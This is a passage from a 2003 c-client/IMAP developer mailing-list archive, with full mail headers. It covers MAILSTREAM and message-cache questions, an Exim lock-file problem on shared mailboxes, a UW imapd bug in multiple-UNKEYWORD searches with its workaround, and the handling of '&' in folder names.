    Can any body clear these things.
     
    Thanks in advance.
     
    Regards
    Gangadhar
     

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-1684526091-1061269735=:22555-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 19 01:59:44 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Aug 2003 01:59:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J8xixd015804 for ; Tue, 19 Aug 2003 01:59:44 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J8xeof025324 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Aug 2003 01:59:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7J8xZJ8029764; Tue, 19 Aug 2003 01:59:35 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J8wE2x051834 for ; Tue, 19 Aug 2003 01:58:15 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.29]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7J8wCSB015691 for ; Tue, 19 Aug 2003 01:58:13 -0700 Received: from smtp.qub.ac.uk (actually host smtp2.qub.ac.uk) by mailhub2.qub.ac.uk with SMTP-CENTRAL (XT-PP) with ESMTP; Tue, 19 Aug 2003 08:58:00 +0000 Received: from a9178.cc.qub.ac.uk ([143.117.9.178] helo=cmcd1) by smtp.qub.ac.uk with smtp (Exim 4.10) id 19p2JT-0006cw-00 for c-client@u.washington.edu; Tue, 19 Aug 2003 08:57:59 +0000 Message-Id: <001901c3662f$e5b200d0$b209758f@cc.qub.ac.uk> Date: Tue, 19 Aug 2003 09:57:17 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Clive McDowell To: c-client Subject: Re: sharing mailboxes References: <001f01c35109$cfb33690$b209758f@cc.qub.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=XII, Probability=12%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, __REFERENCES, TO_LOCALPART_EQ_REAL, REFERENCES, PRIORITY_NO_NAME, SUPERLONG_LINE, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ----- Original Message -----=20 From: "Mark Crispin" To: "Clive McDowell" Cc: "c-client" Sent: Tuesday, August 19, 2003 1:26 AM Subject: Re: sharing mailboxes > Sorry for the delay in responding; I was on vacation. >=20 > What is the exact error message that you are getting? Mark, hope you enjoyed your break. I figured this one out shortly after I sent = the query. We are using Exim as our MTA software and it uses flock and = fcntrl by default. On the busy service machine the lock files created by = flock were not being removed hence no access via a mail client to the = mailbox. I was able to resolve the problem by configuring exim to use = only fcntrl. regards, Clive McDowell Information Services The Queen's University of Belfast From pinedev@shivax2.cac.washington.edu Tue Aug 19 14:55:23 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Aug 2003 14:55:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7JLtNxd004605 for ; Tue, 19 Aug 2003 14:55:23 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7JLtKof008113 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Aug 2003 14:55:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7JLtFKH024154; Tue, 19 Aug 2003 14:55:15 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7JLs92x046912 for ; Tue, 19 Aug 2003 14:54:09 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7JLs3ZG002589 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 19 Aug 2003 14:54:04 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7JLrLCK016074; Tue, 19 Aug 2003 14:53:21 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7JLrKXa032566 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 19 Aug 2003 14:53:20 -0700 Message-Id: Date: Tue, 19 Aug 2003 14:53:42 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Clive McDowell Cc: c-client Subject: Re: sharing mailboxes In-Reply-To: <001901c3662f$e5b200d0$b209758f@cc.qub.ac.uk> References: <001f01c35109$cfb33690$b209758f@cc.qub.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=I, Probability=1%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I don't understand this. flock doesn't create any files, and there should be locking between imapd and the MTA. On Tue, 19 Aug 2003, Clive McDowell wrote: > hope you enjoyed your break. I figured this one out shortly after I sent > the query. We are using Exim as our MTA software and it uses flock and > fcntrl by default. On the busy service machine the lock files created by > flock were not being removed hence no access via a mail client to the > mailbox. I was able to resolve the problem by configuring exim to use > only fcntrl. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Aug 19 18:54:12 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Aug 2003 18:54:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K1sCxd032046 for ; Tue, 19 Aug 2003 18:54:12 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K1s6of025022 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Aug 2003 18:54:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7K1rwKH028336; Tue, 19 Aug 2003 18:53:59 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K1qS2x017774 for ; Tue, 19 Aug 2003 18:52:28 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K1qQSC003946 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 19 Aug 2003 18:52:26 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K1qOxu005468; Tue, 19 Aug 2003 18:52:24 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K1qOXa012251 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 19 Aug 2003 18:52:24 -0700 Message-Id: Date: Tue, 19 Aug 2003 18:52:45 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Gangadhar Mylapuram Cc: c-client@u.washington.edu Subject: Re: Regarding MAILSTREAM data structure In-Reply-To: <20030819050855.23900.qmail@web9802.mail.yahoo.com> References: <20030819050855.23900.qmail@web9802.mail.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 18 Aug 2003, Gangadhar Mylapuram wrote: > 1. How to use mail_xxx APIs and Imap_xxx APIs? There is a documentation file called internal.txt which will help you get started. Also look at existing programs, such as mtest and mailutil. You should not call any c-client imap_xxx routines directly. > 2. Is the MAILSTREAM datastructure object used to store a single folder > inforamtion? Yes. > 3. How MAILSTREAM object storing information about mail messages? It's a C struct with many fields. > 4. In case of serveral folders (like sent, drafts and thrash), Do we > need to create as many number of MAILSTREAM objects? Yes, and this is done with mail_open. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Aug 19 22:29:01 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Aug 2003 22:29:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K5T0xd014732 for ; Tue, 19 Aug 2003 22:29:01 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K5Svof003359 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Aug 2003 22:28:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7K5RVKH022012; Tue, 19 Aug 2003 22:27:31 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K5QM2x027376 for ; Tue, 19 Aug 2003 22:26:22 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K5QIZI029996 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 19 Aug 2003 22:26:21 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K5QGY7015204 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 19 Aug 2003 22:26:16 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K5QFxu016955; Tue, 19 Aug 2003 22:26:15 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K5QFcm001913; Tue, 19 Aug 2003 22:26:15 -0700 Message-Id: Date: Tue, 19 Aug 2003 22:26:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List Cc: c-client Interest List Subject: UW imapd bug in handling UNKEYWORD searches MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, SPAM_PHRASE_02_03, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We recently discovered a longstanding bug in the c-client library, and hence in UW imapd, having to do with searches which have multiple UNKEYWORD specifiers. The bug is that a search command such as: tag SEARCH UNKEYWORD foo UNKEYWORD bar is implemented internally as if the command was: tag SEARCH NOT (KEYWORD foo KEYWORD bar) AND and NOT are not commutative. Oops... :-( We discovered that when one of my co-workers observed that multiple UNKEYWORD criteria in a SEARCH seemed to be ORing instead of ANDing. This is fixed in the latest imap-2003 development snapshot, but it will probably take a long time before older versions of c-client and imapd are rooted out. If your client does not support keywords, or does not ever do a SEARCH with more than one UNKEYWORD specification. Since nobody has ever reported this before, probably nobody does such a thing. Fortunately, there is a workaround. Instead of using UNKEYWORD, use NOT KEYWORD, e.g. tag SEARCH NOT KEYWORD foo NOT KEYWORD bar which will work in both broken and fixed versions of UW imapd. If, by some misfortune, your client does multiple UNKEYWORD and depends upon the broken behavior (and never was used with a working server...), you need to use OR, e.g.: tag SEARCH OR UNKEYWORD foo UNKEYWORD bar A simple tag SEARCH UNKEYWORD foo works just fine in all versions. The problem is only if you do more than one. -- a very embarassed Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Wed Aug 20 00:52:05 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Aug 2003 00:52:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K7q1xd028183 for ; Wed, 20 Aug 2003 00:52:01 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K7pvY7022791 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Aug 2003 00:51:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7K7pnTB009934; Wed, 20 Aug 2003 00:51:51 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K7oK2x016266 for ; Wed, 20 Aug 2003 00:50:21 -0700 Received: from mailhub2.qub.ac.uk (jeremiah.qub.ac.uk [143.117.14.29]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K7oH7e008687 for ; Wed, 20 Aug 2003 00:50:18 -0700 Received: from smtp.qub.ac.uk (actually host smtp2.qub.ac.uk) by mailhub2.qub.ac.uk with SMTP-CENTRAL (XT-PP) with ESMTP; Wed, 20 Aug 2003 07:50:13 +0000 Received: from a9178.cc.qub.ac.uk ([143.117.9.178] helo=cmcd1) by smtp.qub.ac.uk with smtp (Exim 4.10) id 19pNjR-0005mn-00 for c-client@u.washington.edu; Wed, 20 Aug 2003 07:50:13 +0000 Message-Id: <001d01c366ef$99923a60$b209758f@cc.qub.ac.uk> Date: Wed, 20 Aug 2003 08:49:35 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Clive McDowell To: c-client Subject: Re: sharing mailboxes References: <001f01c35109$cfb33690$b209758f@cc.qub.ac.uk> <001901c3662f$e5b200d0$b209758f@cc.qub.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, __REFERENCES, TO_LOCALPART_EQ_REAL, REFERENCES, PRIORITY_NO_NAME, SUPERLONG_LINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I don't understand this. flock doesn't create any files, and there = should > be locking between imapd and the MTA. Sorry - I meant lockf. Exim was creating a lock file owned by the local = user it was delivering to. If this file wasn't removed then access by a = different user with appropriate group permissions did not work. The = second user had insufficient permissions to remove the lock file and = access the inbox. Obviously there was no problem with the owner = accessing the mailbox. Configuring Exim not to use lockf cured the = problem. Clive McDowell Information Services The Queen's University of Belfast=20 From pinedev@shivax2.cac.washington.edu Wed Aug 20 02:32:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Aug 2003 02:32:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K9WZxd010986 for ; Wed, 20 Aug 2003 02:32:35 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K9WTof016375 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Aug 2003 02:32:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7K9WMOL073504; Wed, 20 Aug 2003 02:32:23 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7K9Ur2x016366 for ; Wed, 20 Aug 2003 02:30:53 -0700 Received: from web9801.mail.yahoo.com (web9801.mail.yahoo.com [216.136.129.211]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7K9UnJL028540 for ; Wed, 20 Aug 2003 02:30:49 -0700 Received: from [202.62.76.13] by web9801.mail.yahoo.com via HTTP; Wed, 20 Aug 2003 02:30:49 PDT Message-Id: <20030820093049.16599.qmail@web9801.mail.yahoo.com> Date: Wed, 20 Aug 2003 02:30:49 -0700 (PDT) Reply-To: ganga_506@yahoo.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gangadhar Mylapuram To: c-client@u.washington.edu Subject: Required clarification regarding message cache array MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-466494252-1061371849=:16213" X-Uwash-Spam: Gauge=XXXXXXIII, Probability=63%, Report='__HAS_MSGID, __SANE_MSGID, FROM_ENDS_IN_NUMS, __EVITE_CTYPE, MIME_BOUND_DIGITS_5, RCVD_IN_RFCI, SPAM_REDIRECTOR, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-466494252-1061371849=:16213 Content-Type: text/plain; charset=us-ascii Hi Mark, MAILSTREAM structures has fiels related to perticular folder, current message and Cache of mail messages. I have some quries related to message cache. The message cache entry has following feilds. message number, message size, internal date, system flags and message status. Is Message cache stores only users view of messages or it also maintains Header and body of each message? How many messages view information that cache can stores? (any limit) { I have a small question here. If max limit is 200 messages, can be stored in a cache, if user asks for 201 message, How the message will be stored in a cache? } Is this cache information periodically synchronising with server? If user request for existing message in cache, Whether a request will go to server or not? Thanks in advance. Regards Gangadhar --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-466494252-1061371849=:16213 Content-Type: text/html; charset=us-ascii
    Hi Mark,
     
    MAILSTREAM structures has fiels related to perticular folder, current message and Cache of mail messages.
     
    I have some quries related to message cache.
     
    The message cache entry has  following feilds.
    message number, message size, internal date, system flags and message status.
     
    Is Message cache stores only users view of messages or it also maintains Header and body of each message?
     
    How many messages view information that cache can stores? (any limit)
     
       {
         I have a small question here.
         If max limit is 200 messages, can be stored in a cache,
         if user asks for 201 message, How the message will be stored in a cache?
       }
     
    Is this cache information periodically synchronising with server?
     
    If user request for existing message in cache, Whether a request will go to server or not?
     
    Thanks in advance.
     
    Regards
    Gangadhar

    Do you Yahoo!?
    Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-466494252-1061371849=:16213-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 20 09:48:17 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Aug 2003 09:48:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7KGmGxd030034 for ; Wed, 20 Aug 2003 09:48:16 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7KGmDY7022612 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 20 Aug 2003 09:48:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7KGkmJ8028286; Wed, 20 Aug 2003 09:46:48 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7KGjX2x011810 for ; Wed, 20 Aug 2003 09:45:33 -0700 Received: from cheshire.ucs.ubc.ca (cheshire.ucs.ubc.ca [137.82.28.1]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7KGjVJM021798 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 20 Aug 2003 09:45:31 -0700 Received: from scandia.esd.itservices.ubc.ca ([137.82.28.159] helo=ubc.ca) by cheshire.ucs.ubc.ca with asmtp (TLSv1:RC4-MD5:128) (Exim 4.20) id 19pW5S-0006QY-ES; Wed, 20 Aug 2003 09:45:30 -0700 Message-Id: <3F43A5A9.70807@ubc.ca> Date: Wed, 20 Aug 2003 09:45:29 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: George Lindholm To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Folder name space and the '&' character In-Reply-To: References: <3F203A6E.70408@ubc.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=I, Probability=1%, Report='__HAS_MSGID, __SANE_MSGID, X_ACCEPT_LANG, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01, SIGNATURE_SHORT_SPARSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Thu, 24 Jul 2003, George Lindholm wrote: > >>I crated two files named 'b &- d' and 'C & D' and then did a: > > > "C & D" is not a valid mailbox name. > > "b &- d" is a mailbox name which should display as "b & d". > > >>As you can see, the folder name of 'b &- d' comes out as 'b & d' and of 'C & D' comes out as 'C '. >>This makes in difficult, if not impossible to access the folders. > > > Yup... > > >>And if I read RFC3501, section 5.1.3, correctly, isn't the imap server supposed to escape the >>'&' properly since this is the signal to the client that the string is BASE64 encoded? > > > There is no requirement for the IMAP server to do any escaping. In UW > imapd, the file names are the same as the mailbox names. UW imapd won't > protect you if you create a file with a name that is an invalid mailbox > name. The client is responsible for not doing that. > We are moving away from local filesystem access to the folders to imap access, and unfortunately, pine allows you to create folders with '&' (as well as '*' and '%") so we have a number of users out there that have created folders with these characters of the years that now can no longer access them. George -- George.Lindholm@ubc.ca ITServices, UBC Programmer/Analyst phone: 604.822.4375 fax: 604.822.5116 From pinedev@shivax2.cac.washington.edu Thu Aug 21 20:03:19 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Aug 2003 20:03:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7M33Ixd006078 for ; Thu, 21 Aug 2003 20:03:18 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7M32wof015998 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Aug 2003 20:02:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7M32nTB009796; Thu, 21 Aug 2003 20:02:50 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7M31G2x037626 for ; Thu, 21 Aug 2003 20:01:16 -0700 Received: from oggy.wasmer.ca (montreal-hs-64-26-155-159.s-ip.magma.ca [64.26.155.159]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7M31FJL021315 for ; Thu, 21 Aug 2003 20:01:15 -0700 Received: from frosty (frosty.wasmer.ca [192.168.0.200]) by oggy.wasmer.ca (8.12.9/8.12.9) with SMTP id h7M316Nr005868 for ; Thu, 21 Aug 2003 23:01:07 -0400 (EDT) Message-Id: <026201c3685a$2170ece0$c800a8c0@wasmer.ca> Date: Thu, 21 Aug 2003 23:04:40 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jean-Luc Wasmer" To: Subject: Directory that is a mailbox MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=XIIIII, Probability=15%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, PRIORITY_NO_NAME, SPAM_PHRASE_00_01, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, The FAQ section 1.10 says: "Some mailbox formats, including the default which is the traditional UNIX mailbox format, are stored as a single file containing all the messages. UNIX does not permit a name in the filesystem to be both a file and a directory; consequently you can not have a sub-mailbox within a mailbox that is in one of these formats. [...] It is always permissible to create a directory that is not a mailbox, and have sub-mailboxes under it." I use this a lot. Unfortunatly, if I select a directory I get an error because it's not a mailbox. Would it be possible to interpret a file wih a special name (eg. "_") as the mailbox of the parent directory? So having the following file system tree: Clients/ _ ClientA ClientB ClientC would appear to the IMAP client like Clients ClientA ClientB ClientC with Clients ClientA ClientB and ClientC four different mailboxes. Mail in the "Clients" mailbox would be stored in the file Clients/_ Thanks, JL -- ------------------------------------------------------------------ 